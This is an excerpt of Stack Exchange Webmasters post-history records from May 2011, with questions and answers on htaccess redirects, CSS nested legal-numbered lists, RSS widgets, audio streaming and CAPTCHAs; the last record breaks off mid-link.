  <row Id="33283" PostHistoryTypeId="1" PostId="14236" RevisionGUID="c7ccd95a-5a69-49f7-bca7-3ae768efe2bc" CreationDate="2011-05-23T01:00:17.773" UserDisplayName="Carlos Barbosa" Text="Subdomains vs folders, for multi account/users application." />
  <row Id="33284" PostHistoryTypeId="3" PostId="14236" RevisionGUID="c7ccd95a-5a69-49f7-bca7-3ae768efe2bc" CreationDate="2011-05-23T01:00:17.773" UserDisplayName="Carlos Barbosa" Text="&lt;php&gt;&lt;htaccess&gt;&lt;subdomain&gt;" />
  <row Id="33285" PostHistoryTypeId="17" PostId="14236" RevisionGUID="ee754d79-8f38-4685-95e6-01ae52f4f984" CreationDate="2011-05-23T01:07:48.050" UserId="-1" Comment="from http://stackoverflow.com/questions/6091876/subdomains-vs-folders-for-multi-account-users-application" Text="" />
  <row Id="33286" PostHistoryTypeId="2" PostId="14237" RevisionGUID="d0aff118-2d81-4213-9601-1073510be6bf" CreationDate="2011-05-23T01:16:29.753" UserId="7735" Text="Using folders is definitely, definitely, definitely easier to manage and much more scalable.&#xD;&#xA;&#xD;&#xA;For subdomains, you have to create a new server-instance for each one. With folders, you just make a new folder.&#xD;&#xA;&#xD;&#xA;Subdomains win on security, but if the content on the profile in managed, then you should go with folders.&#xD;&#xA;&#xD;&#xA;If it's something that users have complete control over, then use subdomains." />
  <row Id="33287" PostHistoryTypeId="5" PostId="14235" RevisionGUID="02df6888-e684-402b-8438-f6e2f9027f93" CreationDate="2011-05-23T01:49:28.260" UserId="7015" Comment="added 130 characters in body" Text="I want to be able to stream audio from another webpage through mine, but i do not know how to find the url for each audio file located on a separate webpage. It would also be extremely helpful to do everything in bulk so instead of writing a separate line of code for each audio file, simply writing a few lines of code to upload links to 100 audio files, etc. I am also using Ruby on Rails for my webpage. &#xD;&#xA;How do you find a file located on a separate webpage?&#xD;&#xA;and&#xD;&#xA;Does anyone know, if possible how, to upload file links in bulk?&#xD;&#xA;- thanks" />
  <row Id="33288" PostHistoryTypeId="5" PostId="14234" RevisionGUID="46ea17df-2026-4a28-bdb2-6b98a558fdce" CreationDate="2011-05-23T01:52:15.590" UserId="7015" Comment="added 5 characters in body; edited tags" Text="I have a yahoo media player embedded in my webpage. I am currently using Ruby on Rails to create/edit my web page. When i click the play button next to a track the YMP waits a while and then goes to the next track without playing the first one. I then get a warning on my second (last) track that its file could not be found. &#xD;&#xA;does anyone has a better recommendation for an audio player or a way to fix this one? it would be greatly appreciated. &#xD;&#xA;Thanks" />
  <row Id="33289" PostHistoryTypeId="6" PostId="14234" RevisionGUID="46ea17df-2026-4a28-bdb2-6b98a558fdce" CreationDate="2011-05-23T01:52:15.590" UserId="7015" Comment="added 5 characters in body; edited tags" Text="&lt;ruby-on-rails&gt;&lt;audio&gt;" />
  <row Id="33290" PostHistoryTypeId="2" PostId="14238" RevisionGUID="637fe6c1-7bab-46b8-a123-e3da578218bc" CreationDate="2011-05-23T02:02:31.487" UserId="7736" Text="I'm trying to create a legal document with decimal numbered subclauses, then alpha and roman subsub and subsubsub clauses. (whew!)&#xD;&#xA;&#xD;&#xA;`**1. MAIN HEADING**&#xD;&#xA;&#xD;&#xA;    1.1 This is an example of a sub-clause and you can see that even though the words continue on to the right, it would be best if it wrapped around and formed a block to the right of the decimal number&#xD;&#xA;    1.2 In doing so the normal second clause should also wrap around but the second subsequent clause should hang in from the left and be in a block.  See below for the remaining clauses&#xD;&#xA;        (a) this list is completely for demonstration and should  not be construed as legal language in any way, nor should make sense in that&#xD;&#xA;        (b) should the indentation take  more than:&#xD;&#xA;            i) this many lines it would be overly big&#xD;&#xA;            11) legal numbering continues in the sub-sub clauses with the use of lower roman lettering and should flow below in a block&#xD;&#xA;            iii) and continue the formatting on to the next line but be underneath the body of the the text and not begin directly below the number itself. In this example the text carries out to the right but I need it to wrap around underneath.&#xD;&#xA;Sorry its so wordy, need this to show the example.&#xD;&#xA;***2. Second Clause Heading***&#xD;&#xA;    2.1 and so it continues thus&lt;br&gt;&#xD;&#xA;    I've found the examples for decimal numbering but they do not create a block out to the right of the number, and they carry on with multiple decimals rather than alpha and roman sub clauses.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33291" PostHistoryTypeId="1" PostId="14238" RevisionGUID="637fe6c1-7bab-46b8-a123-e3da578218bc" CreationDate="2011-05-23T02:02:31.487" UserId="7736" Text="Numbered list with subclauses" />
  <row Id="33292" PostHistoryTypeId="3" PostId="14238" RevisionGUID="637fe6c1-7bab-46b8-a123-e3da578218bc" CreationDate="2011-05-23T02:02:31.487" UserId="7736" Text="&lt;css&gt;&lt;stylesheet&gt;" />
  <row Id="33293" PostHistoryTypeId="25" PostId="14236" RevisionGUID="6b028369-77d2-4124-8646-0bc6d709ac3d" CreationDate="2011-05-23T03:12:35.663" Comment="http://twitter.com/#!/StackWebmasters/status/72500141835292674" />
  <row Id="33294" PostHistoryTypeId="5" PostId="14223" RevisionGUID="4cc20c8f-aefe-46e1-a5c4-bf9b38a7982c" CreationDate="2011-05-23T03:13:02.590" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Are meta keywords worth the effort?](http://webmasters.stackexchange.com/questions/6/are-meta-keywords-worth-the-effort)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Creating a website for a BraodBand Company, and not too sure whether or not to go ahead and fill in the meta keywords? Are they still necessary?" />
  <row Id="33295" PostHistoryTypeId="10" PostId="14223" RevisionGUID="9d0345fa-b60c-4ed3-b443-5813fe51b42c" CreationDate="2011-05-23T03:13:01.327" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33296" PostHistoryTypeId="5" PostId="14231" RevisionGUID="a19df1cf-70ab-4e1a-a264-6f3f15c240eb" CreationDate="2011-05-23T03:14:21.000" UserId="1253" Comment="added 89 characters in body" Text="HTML is not meant for this. HTML just displays content in a web browser. You will need a server side programming language like PHP to do this. The PHP will take the form submission (which is in HTML) and do the work that checks if the users is valid, and if they are, log them in. " />
  <row Id="33297" PostHistoryTypeId="5" PostId="14235" RevisionGUID="db733000-9bda-4909-b396-4afdb5960ce6" CreationDate="2011-05-23T03:16:39.767" UserId="1253" Comment="modified tags, formatted text" Text="I want to be able to stream audio from another webpage through mine, but i do not know how to find the url for each audio file located on a separate webpage. It would also be extremely helpful to do everything in bulk so instead of writing a separate line of code for each audio file, simply writing a few lines of code to upload links to 100 audio files, etc. I am also using Ruby on Rails for my webpage. &#xD;&#xA;&#xD;&#xA;How do you find a file located on a separate webpage?&#xD;&#xA;&#xD;&#xA;Does anyone know, if possible how, to upload file links in bulk?&#xD;&#xA;" />
  <row Id="33298" PostHistoryTypeId="6" PostId="14235" RevisionGUID="db733000-9bda-4909-b396-4afdb5960ce6" CreationDate="2011-05-23T03:16:39.767" UserId="1253" Comment="modified tags, formatted text" Text="&lt;ruby-on-rails&gt;&lt;audio&gt;&lt;streaming&gt;" />
  <row Id="33299" PostHistoryTypeId="5" PostId="14234" RevisionGUID="ee82be14-728f-4eb3-bf63-d08a91e6ed52" CreationDate="2011-05-23T03:17:46.130" UserId="1253" Comment="Formatted text" Text="I have a yahoo media player embedded in my webpage. I am currently using Ruby on Rails to create/edit my web page. When i click the play button next to a track the YMP waits a while and then goes to the next track without playing the first one. I then get a warning on my second (last) track that its file could not be found. &#xD;&#xA;&#xD;&#xA;Does anyone has a better recommendation for an audio player or a way to fix this one? " />
  <row Id="33301" PostHistoryTypeId="2" PostId="14239" RevisionGUID="f780dc39-c891-497f-b555-f9b34a6d575f" CreationDate="2011-05-23T03:21:16.767" UserId="7700" Text="I'm looking to take a RSS feed XML link, and incorporate its contents into my site using a free online wizard to handle the scripting. To be more specific, I'd like to know if there's a tool that experienced webmasters use that's a) free [or low cost], b) creates standards-based HTML4+ code, and c) generates a list with summary with a slow scrolling effect as one of its options.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="33302" PostHistoryTypeId="1" PostId="14239" RevisionGUID="f780dc39-c891-497f-b555-f9b34a6d575f" CreationDate="2011-05-23T03:21:16.767" UserId="7700" Text="What's a good wizard for creating HTML RSS feed widgets?" />
  <row Id="33303" PostHistoryTypeId="3" PostId="14239" RevisionGUID="f780dc39-c891-497f-b555-f9b34a6d575f" CreationDate="2011-05-23T03:21:16.767" UserId="7700" Text="&lt;free&gt;&lt;rss&gt;&lt;feeds&gt;&lt;widgets&gt;" />
  <row Id="33304" PostHistoryTypeId="2" PostId="14240" RevisionGUID="05d82a57-b2c3-4588-8762-60aa93d90551" CreationDate="2011-05-23T04:32:03.110" UserId="7739" Text="I am using the following set of htaccess code to not redirect my site(http://yy.com) directly in the url. I have another site(X) when the user logged in this site then he will be directed to the site y and also allowed to login their wp-admin panel. The current process is working fine as its way, the user is not allowed to redirected directly to the site(yy). The problem is when they tried to login in the admin side http://yy.com/wp-admin it is redirecting them to there i really don't need to go there also..&#xD;&#xA;&#xD;&#xA;My code&#xD;&#xA;&#xD;&#xA;&lt;IfModule mod_rewrite.c&gt;                                                            &#xD;&#xA;RewriteEngine On                    &#xD;&#xA;RewriteCond %{HTTP_REFERER} !(.*)zzz.com(.*)                  &#xD;&#xA;RewriteCond %{HTTP_REFERER} !(.*)yyy.com(.*)           &#xD;&#xA;RewriteCond %{REQUEST_URI}  !.*(wp\-login|wp\-admin|wp\-content|wp\-includes|wp          \-trackback).* [NC]                &#xD;&#xA;RewriteRule ^(.*)$ - [F] &#xD;&#xA;&lt;/IfModule&gt;    " />
  <row Id="33305" PostHistoryTypeId="1" PostId="14240" RevisionGUID="05d82a57-b2c3-4588-8762-60aa93d90551" CreationDate="2011-05-23T04:32:03.110" UserId="7739" Text="Htaccess HTTP_REFERER LOGIN redirect Problem" />
  <row Id="33306" PostHistoryTypeId="3" PostId="14240" RevisionGUID="05d82a57-b2c3-4588-8762-60aa93d90551" CreationDate="2011-05-23T04:32:03.110" UserId="7739" Text="&lt;htaccess&gt;" />
  <row Id="33307" PostHistoryTypeId="25" PostId="14238" RevisionGUID="487e4276-96e5-4828-8245-e1540662eff1" CreationDate="2011-05-23T06:12:36.603" Comment="http://twitter.com/#!/StackWebmasters/status/72545444210810880" />
  <row Id="33308" PostHistoryTypeId="2" PostId="14241" RevisionGUID="bdde3fb4-58cd-47e4-aa7a-1cf58636a487" CreationDate="2011-05-23T06:51:34.953" UserId="6314" Text="As John said before me, HTML isn't the right way to do that...&#xD;&#xA;&#xD;&#xA;but... just for be more clear...&#xD;&#xA;&#xD;&#xA;there's the &quot;protection folder via .htaccess&quot;.&#xD;&#xA;&#xD;&#xA;I think that each website administration panel let you to create &quot;protected folders&quot;, those folders accept a list of user-password combination that you have to build up by your side.&#xD;&#xA;&#xD;&#xA;of course, this is NOT automatic.&#xD;&#xA;&#xD;&#xA;For automation you have to learn/use Server-Side languages as suggested:&#xD;&#xA;Php, Asp, Jsp... [choose the one that catch your attention...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Server-side_scripting" />
  <row Id="33309" PostHistoryTypeId="2" PostId="14242" RevisionGUID="d8b9dda7-ed53-4459-8af9-31f04f3724c4" CreationDate="2011-05-23T06:57:22.757" UserId="7615" Text="The previous answers are correct, but assume you want to build the server-side stuff yourself.&#xD;&#xA;&#xD;&#xA;If you're interested just in &quot;setting things up&quot; you may want to look into Web Hosting companies that offer a &quot;Content Management System&quot;, which probably suits your needs. A decent list of systems can be found here:&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/List_of_content_management_systems&#xD;&#xA;&#xD;&#xA;One of the more popular systems is Drupal I believe, for which Stack Exchange has its own Q&amp;A site:&#xD;&#xA;&#xD;&#xA;http://drupal.stackexchange.com/" />
  <row Id="33310" PostHistoryTypeId="2" PostId="14243" RevisionGUID="be3c7d72-d069-48fe-9b83-68ed3d93254b" CreationDate="2011-05-23T07:39:59.230" UserId="7198" Text="WordPress has a complex [template hierarchy][1] that determines which template files are shown based on each page request.&#xD;&#xA;&#xD;&#xA;Template files are called from the active theme's directory at `/wp-content/themes/theme-name`. For example, if you request a single post, the `single.php` file in the active theme's directory will be displayed. If you request an author, the `author.php` template will be displayed.&#xD;&#xA;&#xD;&#xA;If WordPress can't find those templates, it looks for the next related template available, eventually falling back on `index.php` if it can't find specific templates, as detailed in the [hierarchy][2] and shown in this diagram (click for large version):[![wordpress template hierarchy][3]](http://i.stack.imgur.com/H6Nwb.png)&#xD;&#xA;&#xD;&#xA;If you are trying to customise the author or post templates, it is best to do that by editing the `author.php` and `single.php` templates in your theme directory, rather than attempting to restructure the hierarchy (defined in `wp-includes/theme.php`) yourself.&#xD;&#xA;&#xD;&#xA;If you are trying to create 'pretty urls', you can do that using the [Permalinks panel][4] under the Settings header in the WordPress admin area.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Template_Hierarchy&#xD;&#xA;  [2]: http://codex.wordpress.org/Template_Hierarchy&#xD;&#xA;  [3]: http://i.stack.imgur.com/H6Nwb.png&#xD;&#xA;  [4]: http://codex.wordpress.org/Using_Permalinks" />
  <row Id="33311" PostHistoryTypeId="25" PostId="14221" RevisionGUID="61ac8153-2019-40d2-9362-081781ddd59b" CreationDate="2011-05-23T09:12:37.277" Comment="http://twitter.com/#!/StackWebmasters/status/72590745944588288" />
  <row Id="33312" PostHistoryTypeId="2" PostId="14244" RevisionGUID="86ab50a0-896d-46fc-93ab-0afdc92d3834" CreationDate="2011-05-23T09:17:40.990" UserId="1643" Text="I think this is as close as you can get with CSS. It doesn't do the legal numbering and the alpha numbering only has one bracket, but it does most of what you want.&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    ol.a {list-style-type:decimal;}&#xD;&#xA;    ol.b {list-style-type:lower-alpha;}&#xD;&#xA;    ol.c {list-style-type:lower-roman;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;ol class=&quot;a&quot;&gt;&#xD;&#xA;    &lt;li&gt;This is an example of a sub-clause and you can see that even though the words continue on to the right, it would be best if it wrapped around and formed a block to the right of the decimal number&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;In doing so the normal second clause should also wrap around but the second subsequent clause should hang in from the left and be in a block.  See below for the remaining clauses&lt;/li&gt;&#xD;&#xA;    &lt;ol class=&quot;b&quot;&gt;&#xD;&#xA;    &lt;li&gt;this list is completely for demonstration and should  not be construed as legal language in any way, nor should make sense in that&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;should the indentation take  more than:&lt;/li&gt;&#xD;&#xA;    &lt;ol class=&quot;c&quot;&gt;&#xD;&#xA;    &lt;li&gt;this many lines it would be overly big&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;legal numbering continues in the sub-sub clauses with the use of lower roman lettering and should flow below in a block&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;and continue the formatting on to the next line but be underneath the body of the the text and not begin directly below the number itself. In this example the text carries out to the right but I need it to wrap around underneath.&lt;/li&gt;&#xD;&#xA;    &lt;/ol&gt;&#xD;&#xA;    &lt;/ol&gt;&#xD;&#xA;    &lt;/ol&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;&#xD;&#xA;&lt;/html&gt;" />
  <row Id="33313" PostHistoryTypeId="2" PostId="14245" RevisionGUID="ef9f78ff-4030-464e-965f-57809f64bd87" CreationDate="2011-05-23T09:32:33.273" UserId="6627" Text="I need to implement a CAPTCHA for a Chinese (Simplified) website. Does anyone know how CAPTCHAs are normally presented on Chinese sites? I have seen some which just display standard decimal numbers but since there's less variation these are not as secure as I'd like. Is it acceptable to use a CAPTCHA containing letters from the standard English alphabet?" />
  <row Id="33314" PostHistoryTypeId="1" PostId="14245" RevisionGUID="ef9f78ff-4030-464e-965f-57809f64bd87" CreationDate="2011-05-23T09:32:33.273" UserId="6627" Text="Chinese CAPTCHAs" />
  <row Id="33315" PostHistoryTypeId="3" PostId="14245" RevisionGUID="ef9f78ff-4030-464e-965f-57809f64bd87" CreationDate="2011-05-23T09:32:33.273" UserId="6627" Text="&lt;internationalization&gt;&lt;captcha&gt;" />
  <row Id="33316" PostHistoryTypeId="2" PostId="14246" RevisionGUID="a09b2820-8be2-49a8-baa5-e47bd668f71a" CreationDate="2011-05-23T09:46:25.330" UserId="7745" Text="Try this&#xD;&#xA;&#xD;&#xA;     RewriteRule ^admin?$ &quot;http\:\/\/www\.domain\.com\/wp-admin\/&quot; [R=301,L]" />
  <row Id="33317" PostHistoryTypeId="2" PostId="14247" RevisionGUID="37eb9a61-2d62-4d58-8bf2-a262600f4f8f" CreationDate="2011-05-23T09:46:30.197" UserId="7198" Text="&lt;a href=&quot;http://www.w3.org/TR/CSS21/generate.html#counter-styles&quot;&gt;Counter styles&lt;/a&gt; will let you display decimal lists, and the `list-style-type` CSS property will style your subclauses using alpha and roman characters:&#xD;&#xA;&#xD;&#xA;**HTML**&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;example&quot;&gt;&#xD;&#xA;    &lt;ol&gt;&#xD;&#xA;        &lt;li class=&quot;heading&quot;&gt;Main Heading&#xD;&#xA;        &lt;ol&gt;&#xD;&#xA;            &lt;li&gt;This is an example of a sub-clause and you can see that even though the words continue on to the right, it would be best if it wrapped around and formed a block to the right of the decimal number&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;In doing so the normal second clause should also wrap around but the second subsequent clause should hang in from the left and be in a block.&#xD;&#xA;            &lt;ol&gt;&#xD;&#xA;                &lt;li&gt;Second-level clause&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Second-level clause two&#xD;&#xA;                    &lt;ol&gt;&#xD;&#xA;                        &lt;li&gt;First third-level clause.&lt;/li&gt;&#xD;&#xA;                        &lt;li&gt;Second third-level clause.&lt;/li&gt;&#xD;&#xA;                    &lt;/ol&gt;&#xD;&#xA;                &lt;/li&gt;&#xD;&#xA;            &lt;/ol&gt;&#xD;&#xA;        &lt;/li&gt;&#xD;&#xA;        &#xD;&#xA;        &lt;/ol&gt;&#xD;&#xA;    &#xD;&#xA;        &lt;/li&gt;&lt;!-- &quot;Main Heading&quot; ends --&gt;    &#xD;&#xA;   &#xD;&#xA;    &lt;/ol&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;**CSS**&#xD;&#xA;&#xD;&#xA;    div#example{&#xD;&#xA;        width:400px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol {&#xD;&#xA;        counter-reset: item;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    li.heading{&#xD;&#xA;        margin-bottom:20px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li{&#xD;&#xA;        font-weight:bold;&#xD;&#xA;        text-transform:uppercase;&#xD;&#xA;        list-style-position:outside;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li:before{    &#xD;&#xA;        content: counters(item,&quot;.&quot;) &quot;. &quot;;&#xD;&#xA;        counter-increment: item;&#xD;&#xA;        display:marker;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li{&#xD;&#xA;        font-weight:normal;&#xD;&#xA;        text-transform:none;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li ol li{&#xD;&#xA;        margin-left:2.5em;&#xD;&#xA;        list-style-type:lower-alpha;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li ol li:before{&#xD;&#xA;        content:none;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li ol li ol li{&#xD;&#xA;        list-style-type:lower-roman;   &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Result (image)**  &#xD;&#xA;![css numbered lists for legal documents using counter styles][1]&#xD;&#xA;&#xD;&#xA;**Live demo**  &#xD;&#xA;See the &lt;a href=&quot;http://jsfiddle.net/PDFdb/&quot;&gt;working demo here.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;**Notes**  &#xD;&#xA;Unfortunately, this doesn't give you the hanging indents you want (where text is wrapped and floated to the right of the list number) for top-level clauses, but it will work for the sub-level (roman and alpha numbered) clauses.&#xD;&#xA;&#xD;&#xA;In short, numbered *nested* lists are a pain to format, write, and read with HTML/CSS, which is why companies such as Amazon and Netflix don't bother; they convert legal documents to use unnumbered lists when displaying them on the Web. (See &lt;a href=&quot;http://www.amazon.com/gp/help/customer/display.html/ref=footer_privacy?ie=UTF8&amp;nodeId=468496&quot;&gt;Amazon's privacy policy here&lt;/a&gt; and the &lt;a href=&quot;https://www.netflix.com/Popup?id=1004&quot;&gt;Netflix terms here.&lt;/a&gt;)&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YDFAM.jpg" />
  <row Id="33318" PostHistoryTypeId="5" PostId="14247" RevisionGUID="e0dd14e1-6193-4921-9cda-68d7d16e708d" CreationDate="2011-05-23T09:51:51.053" UserId="7198" Comment="added 53 characters in body" Text="&lt;a href=&quot;http://www.w3.org/TR/CSS21/generate.html#counter-styles&quot;&gt;Counter styles&lt;/a&gt; will let you display decimal lists, and the `list-style-type` CSS property will style your subclauses using alpha and roman characters:&#xD;&#xA;&#xD;&#xA;**Result (image)**  &#xD;&#xA;![css numbered lists for legal documents using counter styles][1]&#xD;&#xA;&#xD;&#xA;**HTML**&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;example&quot;&gt;&#xD;&#xA;    &lt;ol&gt;&#xD;&#xA;        &lt;li class=&quot;heading&quot;&gt;Main Heading&#xD;&#xA;        &lt;ol&gt;&#xD;&#xA;            &lt;li&gt;This is an example of a sub-clause and you can see that even though the words continue on to the right, it would be best if it wrapped around and formed a block to the right of the decimal number&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;In doing so the normal second clause should also wrap around but the second subsequent clause should hang in from the left and be in a block.&#xD;&#xA;            &lt;ol&gt;&#xD;&#xA;                &lt;li&gt;Second-level clause&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Second-level clause two&#xD;&#xA;                    &lt;ol&gt;&#xD;&#xA;                        &lt;li&gt;First third-level clause.&lt;/li&gt;&#xD;&#xA;                        &lt;li&gt;Second third-level clause.&lt;/li&gt;&#xD;&#xA;                    &lt;/ol&gt;&#xD;&#xA;                &lt;/li&gt;&#xD;&#xA;            &lt;/ol&gt;&#xD;&#xA;        &lt;/li&gt;&#xD;&#xA;        &#xD;&#xA;        &lt;/ol&gt;&#xD;&#xA;    &#xD;&#xA;        &lt;/li&gt;&lt;!-- &quot;Main Heading&quot; ends --&gt;    &#xD;&#xA;   &#xD;&#xA;    &lt;/ol&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;**CSS**&#xD;&#xA;&#xD;&#xA;    div#example{&#xD;&#xA;        width:400px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol {&#xD;&#xA;        counter-reset: item;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    li.heading{&#xD;&#xA;        margin-bottom:20px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li{&#xD;&#xA;        font-weight:bold;&#xD;&#xA;        text-transform:uppercase;&#xD;&#xA;        list-style-position:outside;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li:before{    &#xD;&#xA;        content: counters(item,&quot;.&quot;) &quot;. &quot;;&#xD;&#xA;        counter-increment: item;&#xD;&#xA;        display:marker;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li{&#xD;&#xA;        font-weight:normal;&#xD;&#xA;        text-transform:none;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li ol li{&#xD;&#xA;        margin-left:2.5em;&#xD;&#xA;        list-style-type:lower-alpha;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li ol li:before{&#xD;&#xA;        content:none;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol li ol li ol li ol li{&#xD;&#xA;        list-style-type:lower-roman;   &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Live demo**  &#xD;&#xA;See the &lt;a href=&quot;http://jsfiddle.net/PDFdb/&quot;&gt;working demo here.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;**Hanging indents**  &#xD;&#xA;Unfortunately, this doesn't give you the hanging indents you want (where text is wrapped and floated to the right of the list number) for top-level clauses, but it will work for the sub-level (roman and alpha numbered) clauses.&#xD;&#xA;&#xD;&#xA;**Consider unnumbered lists instead**  &#xD;&#xA;In short, numbered *nested* lists are a pain to format, write, and read with HTML/CSS, which is why companies such as Amazon and Netflix don't bother; they convert legal documents to use unnumbered lists when displaying them on the Web. (See &lt;a href=&quot;http://www.amazon.com/gp/help/customer/display.html/ref=footer_privacy?ie=UTF8&amp;nodeId=468496&quot;&gt;Amazon's privacy policy here&lt;/a&gt; and the &lt;a href=&quot;https://www.netflix.com/Popup?id=1004&quot;&gt;Netflix terms here.&lt;/a&gt;)&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YDFAM.jpg" />
  <row Id="33319" PostHistoryTypeId="2" PostId="14248" RevisionGUID="2ec16e23-f578-4ab3-b11e-97b067fc882d" CreationDate="2011-05-23T09:52:50.473" UserId="2739" Text="You can achieve almost all your requirements with nested ordered lists and simple CSS to set alpha bullets (a, b, c) or roman numerals (i, ii, iii).&#xD;&#xA;&#xD;&#xA;This mark-up:&#xD;&#xA;&#xD;&#xA;    &lt;ol class=&quot;main&quot;&gt;&#xD;&#xA;        &lt;li&gt;MAIN HEADING&#xD;&#xA;            &lt;ol&gt;&#xD;&#xA;                &lt;li&gt;This is an example of a sub-clause and you can see that even though the words continue on to the right, it would be best if it wrapped around and formed a block to the right of the decimal number&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;In doing so the normal second clause should also wrap around but the second subsequent clause should hang in from the left and be in a block.  See below for the remaining clauses&#xD;&#xA;                	&lt;ol&gt;&#xD;&#xA;                        &lt;li&gt;this list is completely for demonstration and should  not be construed as legal language in any way, nor should make sense in that&lt;/li&gt;&#xD;&#xA;                        &lt;li&gt;should the indentation take  more than:&#xD;&#xA;                            &lt;ol&gt;&#xD;&#xA;                                &lt;li&gt;this many lines it would be overly big&lt;/li&gt;&#xD;&#xA;                                &lt;li&gt;legal numbering continues in the sub-sub clauses with the use of lower roman lettering and should flow below in a block&lt;/li&gt;&#xD;&#xA;                                &lt;li&gt;and continue the formatting on to the next line but be underneath the body of the the text and not begin directly below the number itself. In this example the text carries out to the right but I need it to wrap around underneath.&lt;/li&gt;&#xD;&#xA;                            &lt;/ol&gt;&#xD;&#xA;                        &lt;/li&gt;&#xD;&#xA;            		&lt;/ol&gt;&#xD;&#xA;                &lt;/li&gt;&#xD;&#xA;            &lt;/ol&gt;&#xD;&#xA;        &lt;/li&gt;&#xD;&#xA;    	&lt;li&gt;Second Clause Heading&#xD;&#xA;    		&lt;ol&gt;&#xD;&#xA;                &lt;li&gt;This is an example of a sub-clause and you can see that even though the words continue on to the right, it would be best if it wrapped around and formed a block to the right of the decimal number&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;In doing so the normal second clause should also wrap around but the second subsequent clause should hang in from the left and be in a block.  See below for the remaining clauses&lt;/li&gt;&#xD;&#xA;            &lt;/ol&gt;&#xD;&#xA;    	&lt;/li&gt;&#xD;&#xA;    &lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;And this basic CSS&#xD;&#xA;&#xD;&#xA;    ol.main &gt; li &gt; ol &gt; li &gt; ol {list-style-type:lower-alpha}&#xD;&#xA;    &#xD;&#xA;    ol.main &gt; li &gt; ol &gt; li &gt; ol &gt; li &gt; ol {list-style-type:lower-roman}&#xD;&#xA;&#xD;&#xA;Achieves this affect:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;The key thing missing though are the **decimal numbered subclauses**, but we can use the `counter-reset`, `counter-increment` and `content` properties to add these.  Be aware though these properties are not recognised by IE6 or IE7.&#xD;&#xA;&#xD;&#xA;This is the additional CSS to use:&#xD;&#xA;&#xD;&#xA;    ol.main &gt; li {&#xD;&#xA;    	counter-increment: root;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    ol.main &gt; li &gt; ol {&#xD;&#xA;    	counter-reset: subsection;&#xD;&#xA;    	list-style-type: none;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    ol.main &gt; li &gt; ol &gt; li {&#xD;&#xA;    	counter-increment: subsection;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    ol.main &gt; li &gt; ol &gt; li:before {&#xD;&#xA;    	content: counter(root) &quot;.&quot; counter(subsection) &quot; &quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The first three selectors allocate names to the list items and count how many are being used. The final selector adds the numbers to the beginning of the list item, i.e. 1.1, 1.2, 2.1, 2.2 etc is [root number] [full stop] [subsection number] [space].&#xD;&#xA;&#xD;&#xA;The final screen will look like this:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Here is a demo - [http://blog.ajcw.com/demo/lists.html][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r5tXF.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/r4UqZ.jpg&#xD;&#xA;  [3]: 